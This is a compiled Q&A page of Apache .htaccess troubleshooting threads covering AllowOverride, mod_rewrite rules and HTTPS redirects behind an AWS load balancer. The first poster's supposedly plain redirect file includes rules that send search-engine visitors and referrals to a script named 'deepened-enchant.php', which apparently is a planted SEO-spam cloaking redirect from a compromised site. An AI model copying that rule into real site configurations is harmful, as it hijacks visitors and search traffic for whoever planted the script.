Where do I place .htaccess file? - .htaccess

Switching from a GoDaddy shared server to my own home server (with multiple virtual websites)
On GoDaddy I used the .htacess below for 301 redirects and it worked fine. It was located in the same directory where index.html was. When I use the same exact file on my own server, it not only fails, but the website itself no longer works.
Am I supposed to place the .htaccess file in a specific directory (I've tried www, public_html, etc.)
When I remove the .htaccess file the website goes back to working fine.
Please help
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ deepened-enchant.php?$1 [L]
Redirect 301 /directory1/index.html https://example1.com
Redirect 301 /directory2/index.html https://example2.com

So I finally found that I had to enable .htaccess, it's off by default.
I edited /etc/apache2/apache2.conf and in the code below I changed
AllowOverride None
to
AllowOverride All
<Directory /var/www/>
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Then I restarted apache
sudo systemctl restart apache2
And placed my .htaccess in the domains public directory. Which for me is
/var/www/example.com/public_html
Then everything worked fine

Related

Apache not redirecting to index.php properly

I have an application and the entry point is index.php in /var/www/html/quote directory. The application is using slim framework to deliver json api. So I tested the application using php -S localhost:8080 but now I'm ready to upload to my hosting service so I want to be able to test the app by typing localhost/quote. I enabled mod_rewrite in apache2. Also I added this to the directory where index.php is localted
.htaccess file
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^ index.php [QSA,L]
finally, I modified the apache2.conf file and change directive like this. changing AllowOverride to All
<Directory /var/www>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Now when I type http://localhost/quote. I'm getting "page not found"
what am I missing?

Redirecting from Http to Https with AWS's ELB

I have made queries before here. I considered it was working, but actually not yet.
I have load balancer facing to Internet and behind is Ec2 instance.
My load balancer is opened to port 80 and port 443.
They are arranged as 80 -> 80 and 443 -> 80.
Now is I need to redirect http access to https.
What I did is
I made a .htaccess file and located into /var/www/html/. That is the folder where my website's index.php is located.
Inside .htaccess file, I tried a few version what I found in the Internet. None of them worked.
<VirtualHost *:80>
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteCond %{HTTP_USER_AGENT} !^ELB-HealthChecker
RewriteRule . https://%{HTTP:Host}%{REQUEST_URI} [L,R=permanent]
</VirtualHost>
<VirtualHost *:80>
RewriteEngine on
RewriteCond %{HTTP_HOST} www.(.+) [OR,NC] # Added
RewriteCond %{HTTP:X-Forwarded-Proto} !https [NC]
RewriteRule ^/?(.*) https://domainname.com%{REQUEST_URI} [L,R=301]
</VirtualHost>
Why it doesn't work at my set up?
EDIT:
<If "req('X-Forwarded-Proto') != 'https'>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !^ELB-HealthChecker
RewriteRule . https://%{HTTP:Host}%{REQUEST_URI} [L,R=permanent]
</If>
What I do for HTTPS with apache is upload a custom redirect.conf file via container commands. So redirect.conf looks something like this:
<If "req('X-Forwarded-Proto') != 'https'>
RewriteEngine On
RewriteRule . https://%{SERVER_NAME}%{REQUEST_URI} [L,R]
</If>
And then you'd use a container command to put this file into the apache configuration directory /etc/httpd/conf.d/ like so:
container_commands:
01_update_rewrite_rules:
command: "cp rewrite.conf /etc/httpd/conf.d/"
I have been solving the issue for a long time and now can make it work successfully. I like to share what I have done as follows.
(1)Create .htaccess file inside the folder same as root file index.php exists
(2).htaccess file has
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Proto} =http
RewriteRule . https://%{HTTP:Host}%{REQUEST_URI} [L,R=permanent]
(3)Then enable mod_rewrite, try the command line command:
sudo a2enmod rewrite
(4)To make sure mod_rewrite is enabled, update /etc/apache2/apache2.conf file as
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
initially is
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
Then you can setup http to https successfully
You need to restart server as sudo service apache2 restart after update of /etc/apache2/apache2.conf
Your load balancer and its security group need to open to http access.

How to temporarily redirect one site to another in .htaccess

I want to temporarily redirect all traffic from one site to another and the following directives are not working. The source site still resolves.
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP_HOST} ^(www\.)?sourcesite\.com$ [NC]
RewriteRule ^(.*)$ http://targetsite.com/ [R=302,NC,L]
Any suggestions on what might be wrong?
Probably you don't have your .htaccess file enabled. Set AllowOverride all for the <Directory> that contains it. Your config is fine.

.htaccess won't redirect without arguments

My .htaccess won't redirect a URL correctly for some strange reason, whenever I attempt direct traffic from http://example.com/b70a0 to then into http://example.com/serve/?short=b70a0 I get a 404 page as if the page was not found, when of course there was never going to be a page there in the first place, I wanted to redirect the traffic from that page.
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f
RewriteRule ^(.*)$ serve.php?short=$1 [QSA,L]
I found promptly the answer to my issue, turns out I needed to have "AllowOverride" to be allowed inside of my actual Apache settings, as that can be found by heading into the
/etc/apache2/sites-available/
folder, the following is what I found to be useful when making this resource.
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order allow,deny
allow from all
</Directory>

.htaccess equivalent of baseurl?

I'm trying to install Symfony on a shared server and am attempting to duplicate the httpd.conf command:
# Be sure to only have this line once in your configuration
NameVirtualHost 127.0.0.1:8080
# This is the configuration for your project
Listen 127.0.0.1:8080
<VirtualHost 127.0.0.1:8080>
DocumentRoot "/home/sfproject/web"
DirectoryIndex index.php
<Directory "/home/sfproject/web">
AllowOverride All
Allow from All
</Directory>
Alias /sf /home/sfproject/lib/vendor/symfony/data/web/sf
<Directory "/home/sfproject/lib/vendor/symfony/data/web/sf">
AllowOverride All
Allow from All
</Directory>
</VirtualHost>
I need to do so using .htaccess
The redirect portion was done in the root using the following:
Options +FollowSymlinks
RewriteEngine on
rewritecond %{http_host} ^symfony.mysite.ca [nc]
rewriterule ^(.*)$ http://symfony.mysite.ca/web/$1 [r=301,nc]
For the alias, I've tried using:
RewriteBase /
but no success.
The main issue is that the index.php file residing in the /web folder uses the /web path in its path to images and scripts. So instead of
href="/css/main.css" //this would work
it uses
href="/web/css/main.css" //this doesn't work, already in the /web/ directory!
Any ideas? Thanks!
You can use...
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
to prevent urls that refer to actual files from being rewritten, thus preventing the generic rewrite from adding a second /web into the URL.

Resources